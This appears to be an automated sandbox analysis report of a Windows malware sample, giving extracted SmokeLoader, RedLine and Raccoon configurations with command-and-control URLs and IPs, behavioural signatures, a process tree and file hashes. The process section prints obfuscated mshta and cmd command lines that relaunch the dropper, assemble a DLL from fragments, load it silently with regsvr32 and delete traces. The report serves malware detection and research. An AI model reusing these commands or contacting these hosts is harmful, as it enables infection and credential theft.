Analysis
-
max time kernel
151s -
max time network
149s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
14-11-2021 00:36
Static task
static1
Behavioral task
behavioral1
Sample
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe
Resource
win10-en-20211104
General
-
Target
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe
-
Size
316KB
-
MD5
93418b2dded701bdb23f0b25af67a3f5
-
SHA1
46788ec354ad81301a2f620d184255757fb44ffe
-
SHA256
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9
-
SHA512
cd8327a2ec30b96f1836bbcc514124bbb8d55a101bb07e5cfd667aaa8713a89c491d561e5d3682c3fe91d17bfa8681e9f32f409dcfea9ed93277c7b0a3208c34
Malware Config
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/
Extracted
redline
185.159.80.90:38637
Extracted
redline
SuperStar
185.215.113.29:36224
Extracted
raccoon
1.8.3-hotfix
ddf183af4241e3172885cf1b2c4c1fb4ee03d05a
-
url4cnc
http://91.219.236.27/capibar
http://5.181.156.92/capibar
http://91.219.236.207/capibar
http://185.225.19.18/capibar
http://91.219.237.227/capibar
https://t.me/capibar
Extracted
raccoon
1.8.3-hotfix
675718a5f2ce6d3cacf6cb04a512f5637eae995f
-
url4cnc
http://91.219.236.27/agrybirdsgamerept
http://5.181.156.92/agrybirdsgamerept
http://91.219.236.207/agrybirdsgamerept
http://185.225.19.18/agrybirdsgamerept
http://91.219.237.227/agrybirdsgamerept
http://185.163.47.176/agrybirdsgamerept
Extracted
redline
imbest
45.153.186.153:56675
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/760-157-0x0000000001FE0000-0x0000000001FFC000-memory.dmp family_redline behavioral1/memory/760-159-0x0000000004930000-0x000000000494B000-memory.dmp family_redline behavioral1/memory/4052-171-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/4052-172-0x0000000000418EEA-mapping.dmp family_redline behavioral1/memory/3092-231-0x0000000004B20000-0x0000000004B4D000-memory.dmp family_redline behavioral1/memory/3092-233-0x00000000070B0000-0x00000000070DC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid process target process PID 2988 created 64 2988 WerFault.exe FC18.exe -
Downloads MZ/PE file
-
Executes dropped EXE 13 IoCs
Processes:
E7B1.exeEC36.exeEF35.exeF5DD.exeE7B1.exeFC18.exeEC36.exeF5DD.exeEC36.exeE1A.exe56FC.exe5BEE.exeSIOFYL_.eXEpid process 1288 E7B1.exe 1184 EC36.exe 3004 EF35.exe 2836 F5DD.exe 1804 E7B1.exe 64 FC18.exe 3688 EC36.exe 760 F5DD.exe 4052 EC36.exe 1456 E1A.exe 2316 56FC.exe 3092 5BEE.exe 1412 SIOFYL_.eXE -
Deletes itself 1 IoCs
Processes:
pid process 3028 -
Loads dropped DLL 1 IoCs
Processes:
regsvr32.exepid process 3476 regsvr32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 4 IoCs
Processes:
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exeE7B1.exeF5DD.exeEC36.exedescription pid process target process PID 1912 set thread context of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1288 set thread context of 1804 1288 E7B1.exe E7B1.exe PID 2836 set thread context of 760 2836 F5DD.exe F5DD.exe PID 1184 set thread context of 4052 1184 EC36.exe EC36.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2988 64 WerFault.exe FC18.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exeEF35.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI EF35.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI EF35.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI EF35.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3824 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exepid process 3936 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe 3936 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 3028 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 3028 -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exeEF35.exepid process 3936 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe 3004 EF35.exe 3028 3028 3028 3028 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
WerFault.exeEC36.exetaskkill.exedescription pid process Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeRestorePrivilege 2988 WerFault.exe Token: SeBackupPrivilege 2988 WerFault.exe Token: SeDebugPrivilege 2988 WerFault.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 4052 EC36.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeDebugPrivilege 3824 taskkill.exe Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 Token: SeCreatePagefilePrivilege 3028 Token: SeShutdownPrivilege 3028 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exeEC36.exeE7B1.exeF5DD.exe56FC.exemshta.execmd.exedescription pid process target process PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 1912 wrote to memory of 3936 1912 b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe PID 3028 wrote to memory of 1288 3028 E7B1.exe PID 3028 wrote to memory of 1288 3028 E7B1.exe PID 3028 wrote to memory of 1288 3028 E7B1.exe PID 3028 wrote to memory of 1184 3028 EC36.exe PID 3028 wrote to memory of 1184 3028 EC36.exe PID 3028 wrote to memory of 1184 3028 EC36.exe PID 3028 wrote to memory of 3004 3028 EF35.exe PID 3028 wrote to memory of 3004 3028 EF35.exe PID 3028 wrote to memory of 3004 3028 EF35.exe PID 1184 wrote to memory of 3688 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 3688 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 3688 1184 EC36.exe EC36.exe PID 3028 wrote to memory of 2836 3028 F5DD.exe PID 3028 wrote to memory of 2836 3028 F5DD.exe PID 3028 wrote to memory of 2836 3028 F5DD.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 1288 wrote to memory of 1804 1288 E7B1.exe E7B1.exe PID 3028 wrote to memory of 64 3028 FC18.exe PID 3028 wrote to memory of 64 3028 FC18.exe PID 3028 wrote to memory of 64 3028 FC18.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 2836 wrote to memory of 760 2836 F5DD.exe F5DD.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 1184 wrote to memory of 4052 1184 EC36.exe EC36.exe PID 3028 wrote to memory of 1456 3028 E1A.exe PID 3028 wrote to memory of 1456 3028 E1A.exe PID 3028 wrote to memory of 1456 3028 E1A.exe PID 3028 wrote to memory of 2316 3028 56FC.exe PID 3028 wrote to memory of 2316 3028 56FC.exe PID 3028 wrote to memory of 2316 3028 56FC.exe PID 2316 wrote to memory of 3600 2316 56FC.exe mshta.exe PID 2316 wrote to memory of 3600 2316 56FC.exe mshta.exe PID 2316 wrote to memory of 3600 2316 56FC.exe mshta.exe PID 3028 wrote to memory of 3092 3028 5BEE.exe PID 3028 wrote to memory of 3092 3028 5BEE.exe PID 3028 wrote to memory of 3092 3028 5BEE.exe PID 3600 wrote to memory of 2248 3600 mshta.exe cmd.exe PID 3600 wrote to memory of 2248 3600 mshta.exe cmd.exe PID 3600 wrote to memory of 2248 3600 mshta.exe cmd.exe PID 2248 wrote to memory of 1412 2248 cmd.exe SIOFYL_.eXE PID 2248 wrote to memory of 1412 2248 cmd.exe SIOFYL_.eXE -
outlook_office_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe -
outlook_win_path 1 IoCs
Processes:
explorer.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe"C:\Users\Admin\AppData\Local\Temp\b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe"C:\Users\Admin\AppData\Local\Temp\b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\E7B1.exeC:\Users\Admin\AppData\Local\Temp\E7B1.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\E7B1.exeC:\Users\Admin\AppData\Local\Temp\E7B1.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeC:\Users\Admin\AppData\Local\Temp\EC36.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeC:\Users\Admin\AppData\Local\Temp\EC36.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeC:\Users\Admin\AppData\Local\Temp\EC36.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\EF35.exeC:\Users\Admin\AppData\Local\Temp\EF35.exe1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F5DD.exeC:\Users\Admin\AppData\Local\Temp\F5DD.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F5DD.exeC:\Users\Admin\AppData\Local\Temp\F5DD.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FC18.exeC:\Users\Admin\AppData\Local\Temp\FC18.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 64 -s 8722⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\E1A.exeC:\Users\Admin\AppData\Local\Temp\E1A.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\56FC.exeC:\Users\Admin\AppData\Local\Temp\56FC.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\56FC.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\56FC.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\56FC.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\56FC.exe" ) do taskkill -f /iM "%~NXS"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"7⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 ..\CxSXSHYX.ZBV -s7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f /iM "56FC.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\5BEE.exeC:\Users\Admin\AppData\Local\Temp\5BEE.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EC36.exe.logMD5
41fbed686f5700fc29aaccf83e8ba7fd
SHA15271bc29538f11e42a3b600c8dc727186e912456
SHA256df4e9d012687cdabd15e86bf37be15d6c822e1f50dde530a02468f0006586437
SHA512234b2235c1ced25810a4121c5eabcbf9f269e82c126a1adc363ee34478173f8b462e90eb53f5f11533641663350b90ec1e2360fd805b10c041fab12f4da7a034
-
C:\Users\Admin\AppData\Local\Temp\56FC.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\56FC.exeMD5
57861feb58cc7432fc9191f26beac607
SHA1e76e9ea41e4cf2f5869bbf696e216e688fb7b82b
SHA2561c48f756080c780600c8eb59f9d10bc5f22b0ce2245687c9f51d6c2455a07a4e
SHA5120ccfb8364049473e1c36825ad009570ce68ba689a2de9e4f02688a44b508fe9f075e83e6c8d2a7d2c8d62cbf99c7054b0cc226ab6637fe816764f708a05bcfeb
-
C:\Users\Admin\AppData\Local\Temp\5BEE.exeMD5
fbd85df545d628ad7f29e4a52ffc2259
SHA1699ce7adc17781cece5516b93fed18ad3f19cb8d
SHA256741a32eeb904ef5f83347a5bb0bcfcd46b7ebec5acc4c2894b7dbf171bc0495c
SHA512ec2cf369ee5a597216384ddf5d8b42532b1763bfd39270823f8019315237538b3ef95331129e1d50b6525f8b5b0a951b82b3f81dfa586381c577e25eaed12bac
-
C:\Users\Admin\AppData\Local\Temp\5BEE.exeMD5
fbd85df545d628ad7f29e4a52ffc2259
SHA1699ce7adc17781cece5516b93fed18ad3f19cb8d
SHA256741a32eeb904ef5f83347a5bb0bcfcd46b7ebec5acc4c2894b7dbf171bc0495c
SHA512ec2cf369ee5a597216384ddf5d8b42532b1763bfd39270823f8019315237538b3ef95331129e1d50b6525f8b5b0a951b82b3f81dfa586381c577e25eaed12bac
-
C:\Users\Admin\AppData\Local\Temp\CxSXSHYX.ZBVMD5
7b6b92824521560b7c5c7cac13787f8d
SHA13adc97f216e6b93bc98ac47b8606969a361a2193
SHA256f2d143474f716fca7c267b0ee9f15d4c100c949094003a363802044df61d8b7c
SHA512b2a1e3f5020fc9915705659ecb6bce7be2afb506d7a85d8f315113bd85d15ff633e0254346db75fe778bbb4d4b0a7e257c5dc3126c05037012dddbdf77b45960
-
C:\Users\Admin\AppData\Local\Temp\E1A.exeMD5
ffbb7bec9668b5e0496d59b209feebad
SHA1090542335b499fa8a618e6fec6dd62772710996c
SHA25630a2b243996af346243dacf92e14caf4fc7d2fefaabdc900797f4d5c700be730
SHA51284dcc00651a3172c6749aea0dccaa0a66d63c3c320c9aad71ebcf6f24a0ff1d0f2063675b41cdc8b594c2a235dcba569e357a8767028320ec9d605fedbdd1284
-
C:\Users\Admin\AppData\Local\Temp\E1A.exeMD5
ffbb7bec9668b5e0496d59b209feebad
SHA1090542335b499fa8a618e6fec6dd62772710996c
SHA25630a2b243996af346243dacf92e14caf4fc7d2fefaabdc900797f4d5c700be730
SHA51284dcc00651a3172c6749aea0dccaa0a66d63c3c320c9aad71ebcf6f24a0ff1d0f2063675b41cdc8b594c2a235dcba569e357a8767028320ec9d605fedbdd1284
-
C:\Users\Admin\AppData\Local\Temp\E7B1.exeMD5
93418b2dded701bdb23f0b25af67a3f5
SHA146788ec354ad81301a2f620d184255757fb44ffe
SHA256b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9
SHA512cd8327a2ec30b96f1836bbcc514124bbb8d55a101bb07e5cfd667aaa8713a89c491d561e5d3682c3fe91d17bfa8681e9f32f409dcfea9ed93277c7b0a3208c34
-
C:\Users\Admin\AppData\Local\Temp\E7B1.exeMD5
93418b2dded701bdb23f0b25af67a3f5
SHA146788ec354ad81301a2f620d184255757fb44ffe
SHA256b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9
SHA512cd8327a2ec30b96f1836bbcc514124bbb8d55a101bb07e5cfd667aaa8713a89c491d561e5d3682c3fe91d17bfa8681e9f32f409dcfea9ed93277c7b0a3208c34
-
C:\Users\Admin\AppData\Local\Temp\E7B1.exeMD5
93418b2dded701bdb23f0b25af67a3f5
SHA146788ec354ad81301a2f620d184255757fb44ffe
SHA256b9bd2fb5274558d200726a2acbaad98fb298e9b07f176c48ea0d6419d51b19a9
SHA512cd8327a2ec30b96f1836bbcc514124bbb8d55a101bb07e5cfd667aaa8713a89c491d561e5d3682c3fe91d17bfa8681e9f32f409dcfea9ed93277c7b0a3208c34
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\EC36.exeMD5
5e34695c9f46f1e69ce731d3b7359c88
SHA1e1e5bb43f0c7556bcccc8cb698f854694bdc024a
SHA25697f96815d81f9c1c8ede31f1c21fda2bee7cbab3490184ef833d9d2e8c17e6fc
SHA512659fa0b695942c35dd4ef499d6c01d9b2a8c23254ea31465a126fd71a0d542ee71da9349ffc8226083393ed37c0668f63c97cc7ef3e014eae793b1f1ba7d6b43
-
C:\Users\Admin\AppData\Local\Temp\EF35.exeMD5
d985b4cfdceecc3c0fe4f3e4fda4e416
